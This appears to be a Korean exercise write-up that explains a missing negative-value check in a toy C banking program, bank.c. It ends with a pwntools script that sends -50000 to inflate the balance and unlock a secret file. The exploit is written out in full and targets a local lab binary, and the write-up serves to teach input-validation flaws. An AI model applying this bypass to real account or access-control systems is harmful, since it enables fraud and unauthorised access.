다음 코드는 bank.c 소스 코드이다.
우리의 목표는 secret.txt를 읽는 것이다.
#include <stdio.h>
#include <stdlib.h>
// This function will print out the content of "secret.txt" file. You don't need
// to know the internals of this function.
void print_secret(void);
void menu(void) {
printf("[SYSTEM] What is your choice?\n");
printf("1. Send money to Alice\n");
printf("2. Read secret file\n");
printf("3. Quit\n");
printf("(Enter 1~3): ");
}
int read_int(void) {
int v;
if (scanf("%d", &v) != 1) {
printf("[ERROR] Invalid input format\n");
exit(1);
}
return v;
}
int main(void) {
int alice_balance = 2000;
int your_balance = 1000;
int choice, amount;
int quit_flag = 0;
setvbuf(stdin, NULL, _IONBF, 0);
while (!quit_flag) {
printf("=============================\n");
printf("[SYSTEM] Your balance = %d\n", your_balance);
menu();
choice = read_int();
switch (choice) {
case 1:
printf("Input the amount of money you want to send: ");
amount = read_int();
if (amount > your_balance) {
printf("[ERROR] You don't have enough balance\n");
break;
}
your_balance -= amount;
alice_balance += amount;
break;
case 2:
if (your_balance < 50000) {
printf("[ERROR] Only the VIP user can read the secret file\n");
printf("(VIP requirement: balance >= 50000)\n");
break;
}
print_secret();
break;
case 3:
quit_flag = 1;
break;
default:
printf("[ERROR] Invalid choice\n");
}
}
return 0;
}
case 2를 보면 user_balance가 50000 이상이어야 secret.txt를 읽을 수 있다.
어떻게 해야 user_balance가 50000 이상이 되게 할 수 있을까?
먼저, user_balance 값을 수정할 수 있는 case 1를 실행해야 한다.
case 1을 보자.
case 1:
printf("Input the amount of money you want to send: ");
amount = read_int();
if (amount > your_balance) {
printf("[ERROR] You don't have enough balance\n");
break;
}
your_balance -= amount;
alice_balance += amount;
break;
user_balance는 이 프로그램에서 감소하기만 한다.
(user가 alice에게 돈을 보내기만 하기 때문이다.)
user_balance는 1000으로 초기화되어 있기 때문에,
프로그래머가 이 코드를 작성할 때 예상했던 이상적인 입력 값(상식적으로, 0 ~ 1000)으로는 절대 user_balance를 50000이상으로 만들 수 없다.
그래서 우리는 예상치 못한 입력을 이용하여 50000이상으로 만들고 secret.txt를 읽어야 한다.
=> amount 값에서 음수를 check 안 하는 것이 포인트 !!!
amount < 1000 이어야 하고,
1000 - amount >= 50000 라면,
amount <= -49000 이면 된다!
이제 해당 과정으로 bank.bin을 공격하는 exploit_bank.py를 작성해보자.
#!/usr/bin/python3
from pwn import * # pwntools library에서 모든 func와 class를 가져온다.
def exploit(): # exploit func def
# TODO: Fill in the remaining exploit logic.
# local system에서 binary file을 실행하고,
# 이와 상호작용할 수 있는 객체 생성
p = process("./bank.bin")
# Read in the menu messages.
for i in range(6):
print(p.recvline())
print(p.recvuntil(b"(Enter 1~3): "))
p.sendline(b"1")
print(p.recvuntil(b"Input the amount of money you want to send: "))
p.sendline(b"-50000")
for i in range(6):
print(p.recvline())
print(p.recvuntil(b"(Enter 1~3): "))
p.sendline(b"2")
print(p.recvline())
for i in range(6):
print(p.recvline())
print(p.recvuntil(b"(Enter 1~3): "))
p.sendline(b"3")
return
if __name__ == "__main__":
exploit()
